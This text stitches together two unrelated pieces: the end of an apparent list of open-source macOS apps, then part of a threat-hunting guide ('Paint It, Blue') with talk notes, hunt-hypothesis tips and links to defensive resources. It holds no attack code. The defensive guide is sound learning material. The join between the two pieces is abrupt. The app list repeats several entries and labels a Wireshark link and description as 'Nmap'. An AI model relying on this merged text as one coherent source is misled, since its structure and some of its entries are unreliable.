- [Overkill](https://github.com/KrauseFx/overkill-for-mac) - Stop iTunes from opening when you connect your iPhone. ![swift_icon]
- [ProfileCreator](https://github.com/ProfileCreator/ProfileCreator) - macOS Application to create standard or customized configuration profiles. ![objective_c_icon]
- [SlimHUD - Cyanocitta](https://github.com/AlexPerathoner/SlimHUD) - Replacement for MacOS' volume, brightness and keyboard backlight HUDs. ![swift_icon]
- [Sloth](https://github.com/sveinbjornt/Sloth) - Sloth is an macOS application that displays a list of all open files and sockets in use by all running applications on your system. ![objective_c_icon]
- [Spotter](https://github.com/spotter-application/spotter) - Productivity tool, the main function is to search and launch external application actions and applications themselves, so you can stay focused on your current task. Kind of spotlight or alfred alternative. ![typescript_icon] ![swift_icon]
- [Stats](https://github.com/exelban/stats) - macOS system monitor in your menu bar ![swift_icon]
- [Turbo Boost Switcher](https://github.com/rugarciap/Turbo-Boost-Switcher) - Turbo Boost Switcher is a little application for Mac computers that allows to enable and/or disable the Turbo Boost feature. ![objective_c_icon]
- [VerticalBar](https://github.com/DeromirNeves/DockSeparator) - macOS application to add a vertical bar to Dock. ![swift_icon]
- [Wireshark](https://gitlab.com/wireshark/wireshark/-/tree/master) - Wireshark is the world’s foremost and widely-used network protocol analyzer. It lets you see what’s happening on your network at a microscopic level and is the de facto (and often de jure) standard across many commercial and non-profit enterprises, government agencies, and educational institutions. ![c_icon] ![c++_icon]
- [eul](https://github.com/gao-sun/eul) - macOS status monitoring app written in SwiftUI. ![swift_icon]
- [macOS GateKeeper Helper](https://github.com/wynioux/macOS-GateKeeper-Helper) - Simple macOS GateKeeper script. It helps you to control your GateKeeper. ![shell_icon]
- [macOSLucidaGrande](https://github.com/LumingYin/macOSLucidaGrande) - A small utility to set Lucida Grande as your Mac's system UI font. ![objective_c_icon]
### Terminal
- [Alacritty](https://github.com/alacritty/alacritty) - Cross-platform, GPU-accelerated terminal emulator. ![rust_icon]
- [Bifrost](https://github.com/ishuah/bifrost) - A tiny terminal emulator for serial port communication (macOS/Linux). ![go_icon]
- [Console](https://github.com/macmade/Console) - macOS console application. ![swift_icon]
- [Finder Go](https://github.com/onmyway133/FinderGo) - macOS app and Finder Sync Extension to open Terminal, iTerm, Hyper from Finder. ![swift_icon]
- [Hyper](https://github.com/vercel/hyper) - Terminal built on web technologies. ![javascript_icon] ![css_icon]
- [Kitty](https://github.com/kovidgoyal/kitty) - Cross-platform, fast, feature full, GPU based terminal emulator. ![python_icon] ![c_icon]
- [OpenInTerminal](https://github.com/Ji4n1ng/OpenInTerminal) - Finder Toolbar app for macOS to open the current directory in Terminal, iTerm, Hyper or Alacritty. ![swift_icon]
- [OpenTerminal](https://github.com/es-kumagai/OpenTerminal) - App for macOS that opens a new Finder window and changes the current directory to the folder launched by the app. ![swift_icon]
- [cd to... ](https://github.com/jbtule/cdto) - Finder Toolbar app to open the current directory in the Terminal ![objective_c_icon]
- [iTerm 2](https://github.com/gnachman/iTerm2) - Terminal emulator for macOS that does amazing things. ![objective_c_icon]
- [macOS GateKeeper Helper](https://github.com/wynioux/macOS-GateKeeper-Helper) - Simple macOS GateKeeper script. It helps you to control your GateKeeper. ![shell_icon]
- [wallpapper](https://github.com/mczachurski/wallpapper) - wallpapper is a console application for creating dynamic wallpapers for Mojave. ![swift_icon]
- [zoxide](https://github.com/ajeetdsouza/zoxide) - zoxide is a smarter cd command for your terminal. ![rust_icon]
### Touch Bar
- [Muse](https://github.com/xzzz9097/Muse) - Spotify controller with TouchBar support. ![swift_icon]
- [MyTouchbarMyRules](https://github.com/toxblh/MTMR) - App to customize your Touch Bar as you want. ![swift_icon]
- [Pock](https://github.com/pock/pock) - Display macOS Dock in Touch Bar. ![swift_icon]
- [Touch Bar Preview](https://github.com/touchbar/Touch-Bar-Preview) - Small application to display your designs on the Touch Bar of the new MacBook Pro. ![swift_icon]
- [Touch Bar Simulator](https://github.com/sindresorhus/touch-bar-simulator) - Use the Touch Bar on any Mac. ![swift_icon]
- [Touch Emoji](https://github.com/ilyalesik/touch-emoji) - Emoji picker for MacBook Pro Touch Bar. ![swift_icon]
### Utilities
- [Android tool for Mac](https://github.com/mortenjust/androidtool-mac) - One-click screenshots, video recordings, app installation for iOS and Android ![swift_icon]
- [ArchiveMounter](https://github.com/ivoronin/ArchiveMounter) - Mounts archives like disk images. ![swift_icon]
- [Balena Etcher](https://github.com/balena-io/etcher) - Flash OS images to SD cards & USB drives, safely and easily. ![typescript_icon]
- [BeardedSpice](https://github.com/beardedspice/beardedspice) - Control web based media players with the media keys found on Mac keyboards. ![objective_c_icon]
- [Betaflight Configurator](https://github.com/betaflight/betaflight-configurator) - Cross platform configuration tool for the Betaflight firmware. ![javascript_icon]
- [Bitwarden](https://github.com/bitwarden/desktop) - Cross-platform password management solutions for individuals, teams, and business organizations. ![typescript_icon]
- [Bitwarden Menu](https://github.com/jnsdrtlf/bitwarden-menubar) - Bitwarden Password Manager in your menu bar ![typescript_icon] ![swift_icon]
- [Boop](https://github.com/IvanMathy/Boop) - A scriptable scratchpad for developers. ![swift_icon] ![javascript_icon]
- [Buttercup Desktop](https://github.com/buttercup/buttercup-desktop) - Secure password manager for mac and other platforms. ![javascript_icon]
- [Calculeta](https://github.com/varol/Calculeta) - Calculator for macOS which working on statusbar. ![swift_icon]
- [Catch](https://github.com/mipstian/catch/) - Catch: Broadcatching made easy. ![swift_icon]
- [Clear Clipboard Text Format](https://github.com/LumingYin/ClipboardClear) - Easily clear the format of your clipboard text with Clear Clipboard Text Format. ![objective_c_icon]
- [CoreLocationCLI](https://github.com/fulldecent/corelocationcli) - Get the physical location of your device and prints it to standard output ![swift_icon]
- [CornerCal](https://github.com/ekreutz/CornerCal) - Simple, clean calendar and clock app for macOS. ![swift_icon]
- [Crypter](https://github.com/HR/Crypter) - Crypter is an innovative, convenient and secure cross-platform crypto app that simplifies secure password generation and management by requiring you to only remember one bit, the MasterPass. ![javascript_icon]
- [DevUtils.app](https://github.com/DevUtilsApp/DevUtils-app) - Developer Utilities for macOS, helps you with your tiny daily tasks with just a single click! i.e., JSON Formatter, UUID Generator... ![swift_icon]
- [Duplicate Finder](https://github.com/powerwolf543/DuplicateFinder) - It's a useful tool that would help you to find all duplicate files which have the same names in the specific folder. ![swift_icon]
- [ECheck](https://github.com/josejuanqm/ECheck) - Small tool to validate epub files for macOS. ![swift_icon]
- [Flying Carpet](https://github.com/spieglt/flyingcarpet) - cross-platform file transfer over ad-hoc wifi, like AirDrop but for Mac/Windows/Linux. ![go_icon]
- [Funky](https://github.com/thecatalinstan/Funky) - Easily toggle the function key on your Mac on a per app basis. ![objective_c_icon]
- [Gray](https://github.com/zenangst/Gray) - Pick between the light appearance and the dark appearance on a per-app basis with the click of a button ![swift_icon]
- [Grayscale Mode](https://github.com/rkbhochalya/grayscale-mode) - Manage grayscale mode from menu bar. ![swift_icon]
- [Kap](https://github.com/wulkano/kap) - Screen recorder application built with web technology. ![javascript_icon]
- [KeePassXC](https://github.com/keepassxreboot/keepassxc) - Cross-platform community-driven port of the Windows application "Keepass Password Safe" ![cpp_icon]
- [KeeWeb](https://github.com/keeweb/keeweb) - Cross-platform password manager compatible with KeePass. ![javascript_icon]
- [Keka](https://github.com/aonez/Keka) - Keka is a full featured file archiver, as easy as it can be. ![swift_icon]
- [Kyapchar](https://github.com/vishaltelangre/Kyapchar) - Simple screen and microphone audio recorder for macOS. ![swift_icon]
- [Layout Designer for UICollectionView](https://github.com/amirdew/CollectionViewPagingLayout) - A simple but powerful tool that helps you make complex layouts for UICollectionView. ![swift_icon]
- [Lunar](https://github.com/alin23/lunar) - Intelligent adaptive brightness for your external displays. ![swift_icon]
- [MQTTX](https://github.com/emqx/MQTTX) - An elegant Cross-platform MQTT 5.0 desktop client. ![javascript_icon] ![typescript_icon]
- [MacPass](https://github.com/MacPass/MacPass) - Native macOS KeePass client. ![objective_c_icon]
- [Maria](https://github.com/shincurry/Maria) - macOS native app/widget for aria2 download tool. ![swift_icon]
- [MeetingBar](https://github.com/leits/MeetingBar) - Menu bar app for your calendar meetings ![swift_icon]
- [Meme Maker](https://github.com/MemeMaker/Meme-Maker-Mac) - Meme Maker macOS application for meme creation. ![swift_icon]
- [Middleclick](https://github.com/artginzburg/MiddleClick-Ventura) - Emulate a scroll wheel click with three finger Click or Tap on MacBook trackpad and Magic Mouse ![c_icon]
- [MonitorControl](https://github.com/MonitorControl/MonitorControl) - Control your external monitor brightness, contrast or volume directly from a menulet or with keyboard native keys. ![swift_icon] ![objective_c_icon]
- [Monolingual](https://github.com/IngmarStein/Monolingual) - Remove unnecessary language resources from macOS ![swift_icon]
- [Mos](https://github.com/Caldis/Mos) - Smooth your mouse's scrolling and reverse the mouse scroll direction ![swift_icon]
- [NVM](https://github.com/nvm-sh/nvm) - Node Version Manager. ![shell_icon]
- [Nmap](https://github.com/nmap/nmap) - Nmap - the Network Mapper. ![cpp_icon]
- [Nmap](https://github.com/wireshark/wireshark) - Wireshark is the world’s foremost and widely-used network protocol analyzer. It lets you see what’s happening on your network at a microscopic level and is the de facto (and often de jure) standard across many commercial and non-profit enterprises, government agencies, and educational institutions. ![cpp_icon]
- [Nocturnal](https://github.com/joshjon/nocturnal) - Menu bar app featuring darker than dark dimming, Night Shift fine tuning, and the ability to turn off TouchBar on MacBook Pro. ![swift_icon]
- [NoiseBuddy](https://github.com/insidegui/NoiseBuddy) - Control the listening mode on your AirPods Pro in the Touch Bar or Menu Bar. ![swift_icon]
- [Noti](https://github.com/jariz/Noti/) - Receive Android notifications on your mac (with PushBullet). ![swift_icon]
- [OpenRocket](https://github.com/openrocket/openrocket) - OpenRocket is a cross-platform utility tool to model and simulate model rockets and their flight characteristics. ![java_icon]
- [PB for Desktop](https://github.com/sidneys/pb-for-desktop) - Receive native push notifications on macOS, Windows and Linux. ![javascript_icon]
- [Padlock](https://github.com/padloc/padloc) - A minimal, open source password manager for macOS. ![javascript_icon]
- [PercentCalculator](https://github.com/cemolcay/PercentCalculator) - A menu bar application that calculates percents. ![swift_icon]
- [Pika](https://github.com/superhighfives/pika) - Is an easy to use, open-source, native colour picker for macOS. ![swift_icon] ![metal_icon]
- [Plain Pasta](https://github.com/hisaac/PlainPasta) - Plaintextify your clipboard ![swift_icon]
- [PlayStatus](https://github.com/nbolar/PlayStatus) - PlayStatus is a macOS app that allows the control of Spotify and iTunes music playback from the menu bar. ![swift_icon]
- [PowerShell](https://github.com/powershell/powershell) - PowerShell is a cross-platform automation and configuration tool/framework that works well with your existing tools. ![c_sharp_icon]
- [Rugby](https://github.com/swiftyfinch/Rugby) - 🏈 Cache CocoaPods for faster rebuild and indexing Xcode project. ![swift_icon]
- [ScreenCat](https://github.com/maxogden/screencat) - ScreenCat is a screen sharing + remote collaboration application. ![javascript_icon] ![css_icon]
- [SlimHUD - Cyanocitta](https://github.com/AlexPerathoner/SlimHUD) - Replacement for MacOS' volume, brightness and keyboard backlight HUDs. ![swift_icon]
- [SlowQuitApps](https://github.com/dteoh/SlowQuitApps) - Add a global delay to Command-Q to stop accidental app quits. ![objective_c_icon]
- [Spotter](https://github.com/spotter-application/spotter) - Productivity tool, the main function is to search and launch external application actions and applications themselves, so you can stay focused on your current task. Kind of spotlight or alfred alternative. ![typescript_icon] ![swift_icon]
- [Stats](https://github.com/exelban/stats) - macOS system monitor in your menu bar ![swift_icon]
- [Stringz](https://github.com/mohakapt/Stringz) - A lightweight and powerful editor for localizing iOS, macOS, tvOS, and watchOS applications. ![swift_icon]
- [Super Productivity](https://github.com/johannesjo/super-productivity) - Free to do list & time tracker for programmers & designers with Jira integration. ![typescript_icon] ![javascript_icon]
- [Telephone](https://github.com/64characters/Telephone) - SIP softphone for macOS. ![objective_c_icon] ![swift_icon]
- [The Blockstack Browser](https://github.com/stacks-network/blockstack-browser) - Blockstack is an internet for decentralized apps where users own their data. The Blockstack Browser allows you to explore the Blockstack internet. ![javascript_icon]
- [ThenGenerator](https://github.com/87kangsw/ThenGenerator) - Xcode Source Editor Extension for 'Then' ![swift_icon]
- [ToTheTop](https://github.com/zenangst/ToTheTop) - Small macOS application to help you scroll to the top. ![swift_icon]
- [Ultra TabSaver](https://github.com/Swift-open-source/UltraTabSaver) - Ultra TabSaver is an open-source Tab Manager for Safari ![swift_icon]
- [baRSS – Menu Bar RSS Reader](https://github.com/relikd/barss) - RSS & Atom feed reader that lives in the system status bar. ![objective_c_icon]
- [calibre](https://github.com/kovidgoyal/calibre) - cross platform e-book manager. ![python_icon]
- [dupeGuru](https://github.com/arsenetar/dupeguru/) - dupeGuru is a tool to find duplicate files on your computer. It can scan using file names and file contents. ![objective_c_icon]
- [eul](https://github.com/gao-sun/eul) - macOS status monitoring app written in SwiftUI. ![swift_icon]
- [far2l](https://github.com/elfmz/far2l) - Linux/Mac fork of FAR Manager v2 ![c_icon] ![cpp_icon]
- [fselect](https://github.com/jhspetersson/fselect) - Command-line tool to search files with SQL syntax. ![rust_icon]
- [homebrew-cask](https://github.com/Homebrew/homebrew-cask) - A CLI workflow for the administration of macOS applications distributed as binaries ![ruby_icon]
- [iOScanX](https://github.com/alessiomaffeis/iOScanX) - Cocoa application for semi-automated iOS app analysis and evaluation. ![objective_c_icon] ![c_icon]
- [mac-sound-fix](https://github.com/dragstor/mac-sound-fix) - Mac Sound Re-Enabler. ![swift_icon]
- [macOS GateKeeper Helper](https://github.com/wynioux/macOS-GateKeeper-Helper) - Simple macOS GateKeeper script. It helps you to control your GateKeeper. ![shell_icon]
- [nix-package-manager](https://github.com/NixOS/nix) - Nix is a reproducible package manager alternative to Homebrew, with over 80,000 packages. ![c++_icon] ![shell_icon] ![nix_icon]
- [wechsel](https://github.com/friedrichweise/wechsel) - manage bluetooth connections with your keyboard. ![swift_icon]
- [zoxide](https://github.com/ajeetdsouza/zoxide) - zoxide is a smarter cd command for your terminal. ![rust_icon]
- [Übersicht](https://github.com/felixhageloh/uebersicht) - Keep an eye on what's happening on your machine and in the world. ![objective_c_icon]
### VPN & Proxy
- [ShadowsocksX-NG](https://github.com/shadowsocks/ShadowsocksX-NG) - Next Generation of ShadowsocksX. ![swift_icon]
- [Specht](https://github.com/zhuhaow/Specht) - Rule-based proxy app built with Network Extension for macOS. ![swift_icon]
- [SpechtLite](https://github.com/zhuhaow/SpechtLite) - Rule-based proxy app for macOS. ![swift_icon]
- [Tunnelblick](https://github.com/Tunnelblick/Tunnelblick) - Tunnelblick is a graphic user interface for OpenVPN on macOS. ![objective_c_icon]
- [clashX](https://github.com/yichengchen/clashX) - A rule based custom proxy with GUI for Mac base on clash. ![swift_icon]
- [rvc-mac](https://github.com/riboseinc/cryptode-mac) - Ribose VPN Client macOS Menu App. ![swift_icon]
### Video
- [Acid.Cam.v2.OSX](https://github.com/lostjared/Acid.Cam.v2.OSX) - Acid Cam v2 for macOS distorts video to create art. ![cpp_icon]
- [AppleEvents](https://github.com/insidegui/AppleEvents) - Unofficial Apple Events app for macOS. ![objective_c_icon]
- [Conferences.digital](https://github.com/zagahr/Conferences.digital) - Best way to watch the latest and greatest videos from your favourite developer conferences for free on your Mac. ![swift_icon]
- [Datamosh](https://github.com/maelswarm/Datamosh) - Datamosh your videos on macOS. ![swift_icon]
- [Face Data](https://github.com/xiaohk/FaceData) - macOS application used to auto-annotate landmarks from a video. ![swift_icon]
- [GNU Gatekeeper](https://github.com/willamowius/gnugk) - Video conferencing server for H.323 terminals. ![cpp_icon]
- [Gifted](https://github.com/vdel26/gifted) - Turn any short video into an animated GIF quickly and easily. ![objective_c_icon]
- [HandBrake](https://github.com/HandBrake/HandBrake) - HandBrake is a video transcoder available for Linux, Mac, and Windows. ![c_icon]
- [LosslessCut](https://github.com/mifi/lossless-cut) - The swiss army knife of lossless video/audio editing without re-encoding. ![javascript_icon]
- [MPV](https://github.com/mpv-player/mpv) - Lightweight, highly configurable media player. ![c_icon]
- [MenuTube](https://github.com/edanchenkov/MenuTube) - Catch YouTube into your macOS menu bar! ![javascript_icon]
- [OpenShot](https://github.com/OpenShot/openshot-qt) - Easy to use, quick to learn, and surprisingly powerful video editor. ![python_icon]
- [Quick Caption](https://github.com/LumingYin/Caption) - Transcribe and generate caption files (SRT, ASS and FCPXML) without manually entering time codes. ![swift_icon]
- [QuickLook Video](https://github.com/Marginal/QLVideo) - This package allows macOS Finder to display thumbnails, static QuickLook previews, cover art and metadata for most types of video files. ![objective_c_icon]
- [Subler](https://bitbucket.org/galad87/subler/src) - Subler is an macOS app created to mux and tag mp4 files. ![objective_c_icon]
- [VLC](https://github.com/videolan/vlc) - VLC is a free and open source cross-platform multimedia player ![c_icon]
- [Vid Quiz Creator](https://github.com/sahil-a/vidquizcreator) - macOS application to insert quizzes within video playback and play those videos to receiving devices using the LISNR API. ![swift_icon]
- [WebTorrent Desktop](https://github.com/webtorrent/webtorrent-desktop) - Streaming torrent app. For Mac, Windows, and Linux. ![javascript_icon]
- [Yoda](https://github.com/whoisandy/yoda) - Nifty macOS application which enables you to browse and download videos from YouTube. ![javascript_icon]
### Wallpaper
- [500-mac-wallpaper](https://github.com/markcheeky/500-mac-wallpaper) - Simple macOS app for the status bar to automatically download photos from 500px.com to a local folder that can be set as a source of wallpapers. ![swift_icon]
- [ArtWall](https://github.com/JustinFincher/ASWP-for-macOS) - ArtStation set as wallpapers from artwork.rss ![objective_c_icon]
- [Artify](https://github.com/NghiaTranUIT/artify-macos) - A macOS application for bringing dedicatedly 18th century Arts to everyone ![swift_icon]
- [BingPaper](https://github.com/pengsrc/BingPaper) - Use Bing daily photo as your wallpaper on macOS. ![swift_icon]
- [Desktop Wallpaper Switcher](https://github.com/VioletGiraffe/desktop-wallpaper-switcher) - Win / Linux / macOS tool for managing and cycling desktop wallpapers. ![cpp_icon]
- [Muzei](https://github.com/naman14/Muzei-macOS) - Muzei wallpaper app for macOS. ![swift_icon]
- [Plash](https://github.com/sindresorhus/Plash) - Make any website your desktop wallpaper. ![swift_icon]
- [Satellite Eyes](https://github.com/tomtaylor/satellite-eyes) - macOS app to automatically set your desktop wallpaper to the satellite view overhead. ![objective_c_icon]
- [Sunscreen](https://github.com/davidcelis/Sunscreen) - Sunscreen is a fun, lightweight application that changes your desktop wallpaper based on sunrise and sunset. ![swift_icon]
- [WallpaperMenu](https://github.com/diogosantos/WallpaperMenu) - macOS menubar application for navigation through beautiful pictures on the web and set them up as your desktop image. ![ruby_icon]
- [pyDailyChanger](https://github.com/IngoMeyer441/pyDailyChanger) - pyDailyChanger is a program that changes your wallpaper daily. ![python_icon]
### Window Management
- [AltTab](https://github.com/lwouis/alt-tab-macos) - AltTab brings the power of Windows alt-tab to macOS. ![swift_icon] ![shell_icon]
- [Amethyst](https://github.com/ianyh/Amethyst) - Automatic tiling window manager for macOS. ![swift_icon]
- [AppGrid](https://github.com/mjolnirapp/AppGrid) - Grid-based keyboard window manager for macOS. ![objective_c_icon]
- [Desktop Profiles](https://github.com/mamiksik/Desktop-Profiles) - An innovative desktop/window manager for macOS ![swift_icon]
- [Hammerspoon](https://github.com/Hammerspoon/hammerspoon) - Staggeringly powerful macOS desktop automation with Lua. ![lua_icon] ![objective_c_icon]
- [Phoenix](https://github.com/kasper/phoenix) - Lightweight macOS window and app manager scriptable with JavaScript. ![objective_c_icon]
- [Rectangle](https://github.com/rxhanson/Rectangle) - Rectangle is a window manager heavily based on Spectacle, written in Swift. ![swift_icon]
- [ShiftIt](https://github.com/fikovnik/ShiftIt) - Managing windows size and position. ![objective_c_icon]
- [Slate](https://github.com/jigish/slate) - Slate is a window management application similar to Divvy and SizeUp ![objective_c_icon]
- [Spectacle](https://github.com/eczarny/spectacle) - Spectacle allows you to organize your windows without using a mouse. ![objective_c_icon]
- [Yabai](https://github.com/koekeishiya/yabai) - A tiling window manager for macOS based on binary space partitioning. ![c_icon] ![objective_c_icon]
## Contributors
Thanks to all the people who contribute:
<a href="https://github.com/serhii-londar/open-source-mac-os-apps/graphs/contributors"><img src="https://opencollective.com/open-source-mac-os-apps/contributors.svg?width=890&button=false" /></a>
[app_store]: ./icons/app_store-16.png 'App Store.'
[c_icon]: ./icons/c-16.png 'C language.'
[cpp_icon]: ./icons/cpp-16.png 'C++ language.'
[c_sharp_icon]: ./icons/csharp-16.png 'C# Language'
[clojure_icon]: ./icons/clojure-16.png 'Clojure Language'
[coffee_script_icon]: ./icons/coffeescript-16.png 'CoffeeScript language.'
[css_icon]: ./icons/css-16.png 'CSS language.'
[go_icon]: ./icons/golang-16.png 'Go language.'
[elm_icon]: ./icons/elm-16.png 'Elm Language'
[haskell_icon]: ./icons/haskell-16.png 'Haskell language.'
[java_icon]: ./icons/java-16.png 'Java language.'
[javascript_icon]: ./icons/javascript-16.png 'JavaScript language.'
[lua_icon]: ./icons/Lua-16.png 'Lua language.'
[objective_c_icon]: ./icons/objective-c-16.png 'Objective-C language.'
[python_icon]: ./icons/python-16.png 'Python language.'
[ruby_icon]: ./icons/ruby-16.png 'Ruby language.'
[rust_icon]: ./icons/rust-16.png 'Rust language.'
[shell_icon]: ./icons/shell-16.png 'Shell language.'
[swift_icon]: ./icons/swift-16.png 'Swift language.'
[typescript_icon]: ./icons/typescript-16.png 'TypeScript language.' |
# [](https://sites.google.com/view/ch33r10/me)
<p align='center'>
<a href="https://twitter.com/Ch33r10"><img height="30" src="https://github.com/ch33r10/BlackHatAsia2020/blob/master/img/twitter%20blue%20logo.png"></a>
<a href="https://www.linkedin.com/in/xena-olsen/"><img height="30" src="https://github.com/ch33r10/BlackHatAsia2020/blob/master/img/linkedin%20logo.png"></a>
</p>
<h3 align="center">PAINT IT, BLUE Slides - <a href="https://github.com/ch33r10/BlueSpace2021/blob/main/rock/Talk_2021_Paint_it_Blue.pdf">Link</a></h3>
<p align="center">Pro Tips on transitioning from CTI to Hunt</p>
<hr></hr>
<p><h1 align="center">🎸<b>RESEARCH</b></h1></p>
<p></p>
<h3 align="left">🥁<b>GOAL = ASK BETTER QUESTIONS</b></h3>
**SOCIAL MEDIA & MORE**|**SANS**|**WORKSHOPS / TALKS**|**DISCORDS / SLACKS**
---|---|---|---
#HuntingTipOfTheDay, Follow Threat Hunting Accounts EVERYWHERE - <a href="https://twitter.com/i/lists/1445402146434867206">Link</a>|Reading Room - <a href="https://www.sans.org/white-papers/">Link</a>, Webcasts - <a href="https://www.sans.org/webcasts/">Link</a> & Threat Hunting Summit|Prioritize Threat Hunting Talks/Workshops & take a look at YouTube|Join Slack/Discord related to infosec (BlueSpace has a Discord Channel - <a href="invite.gg/bluespace">Link</a>)
<p></p>
<h3 align="left">📝<b>CH33R10'S TALK NOTES EXAMPLE</b></h3>
<sub>I have a folder where I create a document for each conference.
I list the name of the talk or workshop and while watching I will take screenshots, if it is allowed, of the slides and make notes that I can reference later. Any words in the slides that I want to makes sure are searchable, I will type the keywords below the slides. I grab whatever links the speaker(s) share that I can. I make sure to highlight my personal takeaways or takeaways that I feel could be valuable for someone else. I make a point to include things I am curious about regardless of how weird/off-the-wall/impractical my questions/thoughts may be.</sub>
<p></p>
TEXAS CYBER SUMMIT 2021
<ul>
<li>Becoming a Threat Hunter: This Is One Way by Jason Wood - <a href="https://youtu.be/na1PBrWvJjY">Link</a></li>
<ul><li><B>LINKS</B></li></ul>
<ul><ul><li>Crowdstrike Global Threat Report 2021 - <a href="https://www.crowdstrike.com/resources/reports/global-threat-report/">Link</a></li></ul></ul>
<ul><ul><li>Crowdstrike Threat Hunting Report 2021 - <a href="https://www.crowdstrike.com/resources/reports/threat-hunting-report-2021/">Link</a></li></ul></ul>
<ul><ul><li>Detection Lab by Chris Long - <a href="https://github.com/clong/DetectionLab">Link</a></ul></ul></li>
<p></p>
<ul><li><B>TALK TAKEAWAYS</B></ul></li>
<sub>I took a screenshot of Jason Wood's slide for my personal notes that I retyped below. These are his words on the slide that I duplicated. All credit for the words on the slide goes to Jason Wood. This duplication is for educational purposes.</sub><p></p>
<ul><ul><li>Document your Practice</ul></ul></li>
<ul><ul><ul><li>Record videos and publish them</ul></ul></ul></li>
<ul><ul><ul><li>Write up your learning experience</ul></ul></ul></li>
<ul><ul><ul><li>Give a conference presentation</ul></ul></ul></li>
<ul><ul><ul><li>Document how you hunt at work</ul></ul></ul></li>
<ul><ul><ul><ul><li>Don't publish external. Keep it inside your employer</ul></ul></ul></ul></li>
<ul><ul><ul><li>Benefits of documenting</ul></ul></ul></li>
<ul><ul><ul><ul><li>Helps you talk about it in interviews</ul></ul></ul></ul></li>
<ul><ul><ul><ul><li>Can talk about how you've applied it at work</ul></ul></ul></ul></li>
<p></p>
<ul><li><B>Ch33r10's RANDOM THOUGHTS & QUESTIONS</B></ul></li>
<ul><ul><li>I wonder if it is possible to use Chris Long's Detection Lab with the tools shared in the Busting the Ghost in the Logs talk by Randy Pargman & Jean-Francois Maes during Texas Cyber Summit 2021 - <a href="https://youtu.be/bTU5xTIXoI4">Link</a></ul></ul></li>
<ul><ul><li>I wonder how Chris Long's Detection Lab compares with Splunk's Attack Range</ul></ul></li>
<ul><ul><li>I wonder how I can take my threat hunting practice to the next level and make my practice more organization relevant, such as tooling, telemetry, honeypots? etc</ul></ul></li>
<ul><ul><ul><li>I wonder if it is possible to obtain a researcher/academic license for [your organization's EDR solution/a popular EDR solution] and build a custom tailored threat hunting lab</ul></ul></ul></li>
<ul><ul><li>For organizations that do not use Sysmon/Windows Events, how can I build threat hunting experience?</ul></ul></li>
<ul><ul><li>ETC</ul</ul></li>
</ul>
<p></p>
<p><h1 align="center">🎤<b>PRACTICE</b></h1></p>
<p></p>
<h3 align="left">🎵<b>GOAL = PREPARATION</b></h3>
**TRAININGS / HANDS-ON**|**GIVE A TALK**|**HUNT HYPOTHESIS DEV**|**WORK PROJECTS**
---|---|---|---
Boss of the SOC (BOTS) - <a href="https://live.splunk.com/splunk-security-dataset-project">BOTS v1</a>, <a href="https://events.splunk.com/BOTS_2_0_datasets">BOTS v2</a>, <a href="https://www.splunk.com/en_us/blog/security/botsv3-dataset-released.html">BOTS v3</a>, ATTACK Range - <a href="https://github.com/splunk/attack_range">Link</a>, SPLUNK, <a href="https://conf.splunk.com/">.conf</a> Talks, SPLUNK <a href="https://www.splunk.com/en_us/about-us/events.html">Workshops</a>|Talk about something HUNT adjacent|Read Threat Reports & Think about how YOU would HUNT it, Understand the Technical Attack Chain|Volunteer to work SOC tickets, Volunteer to prep CTI reports for HUNT/PURPLE
<p></p>
<h3 align="left">⚔️<b>CH33R10'S HUNT HYPOTHESIS DEV</b></h3>
<ol>
<li><b>WHAT WOULD THIS BADNESS LOOK LIKE?</b></li>
<li><b>WHERE WOULD I FIND IT?</b></li>
<li><b>HOW DO I DO THE NEEDFUL?</b> (What's that search gonna look like?)</li></ol>
<p></p>
<p><h1 align="center">📻<b>APPLY</b></h1></p>
<h3 align="left">🎹<b>GOAL = APPLICATION</b></h3>
**MITRE ATT&CK TECHNIQUES**|**CISA / PUBLIC THREAT REPORTS**|**INFOSEC CURRENT EVENTS**
---|---|---
Pick a few and be able to explain them in DETAIL - <a href="https://attack.mitre.org/">MITRE ATT&CK</a>|Develop Hunt Hypotheses with a minimum of 1 hour of content to discuss|Develop hunt scenarios & understand the technical attack chain
<p></p>
<p></p>
<h3 align="left">🔗<b>CH33R10'S THREAT HUNTING CYCLE</b></h3>
<ol>
<li><b>RESEARCH</b> - Hypothesis generation and understanding the technical details.</li>
<li><b>ANALYSIS</b> - Collect the necessary data, create searches, run the searches, and analyze the results.</li>
<li><b>CONCLUSIONS</b> - Findings, mitigations, documentation, lessons learned.</li>
<li><b>DETECTIONS</b> - Automate the Hunts you can.</li>
<li><b>RINSE & REPEAT</b></li>
</ol>
<p></p>
<h3 align="left">🗡️<b>CH33R10'S THREAT HUNTING TIPS</b></h3>
<ol>
<li><b>THREAT HUNT TYPE</b>
<ul><li><b>STRUCTURED:</b> Known TTPs, IOCs, Artifacts</ul></li>
<ul><li><b>UNSTRUCTURED:</b> Unknown</ul></li>
<li><b>INTERNAL vs. EXTERNAL</b>
<ul><li>Example: Cobalt Strike Beacon Hunting in Network vs. ITW (In the Wild)</ul></li>
<p></p>
<p><h1 align="center">📚<b>LEARNING RESOURCES</b></h1></p>
<p>😎<b>CHEATSHEETS</b></p>
<ul>
<li>Malware Archaeology Cheatsheets - Windows - <a href="https://www.malwarearchaeology.com/cheat-sheets">Link 1</a>, <a href="https://static1.squarespace.com/static/552092d5e4b0661088167e5c/t/5d5588b51fd81f0001471db4/1565886646582/Windows+Sysmon+Logging+Cheat+Sheet_Aug_2019.pdf">Link 2</a>, Back up copy for Link 2 - <a href="https://github.com/ch33r10/BlueSpace2021/blob/main/rock/Windows%2BSysmon%2BLogging%2BCheat%2BSheet_Aug_2019.pdf">Link 3</a></li>
<li>Olaf Hartong. Sysmon Cheatsheet - <a href="https://github.com/olafhartong/sysmon-cheatsheet/blob/master/Sysmon-Cheatsheet-dark.pdf">Link</a></li>
<li>SANS Hunt Evil Poster - <a href="https://www.sans.org/posters/hunt-evil/">Link</a></li>
<li>SANS Intrusion Discovery for Windows Cheatsheet - <a href="https://www.sans.org/posters/intrusion-discovery-cheat-sheet-for-windows/">Link</a></li>
</ul>
<p></p>
<p>🌎<b>DETECTIONS/HUNTS</b></p>
<ul>
<li>BlueTeamLabs - Azure Sentinel Hunting Resource - <a href="https://github.com/BlueTeamLabs/sentinel-attack/tree/master/detections">Link</a></li>
<li>David J. Bianco. Threat Hunting Project - Threat Hunts - <a href="https://github.com/ThreatHuntingProject/ThreatHunting/tree/master/hunts">Link</a></li>
<li>Detection Ideas Repo by Vadim Khrykov @BlackMatter23 - <a href="https://github.com/vadim-hunter/Detection-Ideas-Rules/">Link</a></li>
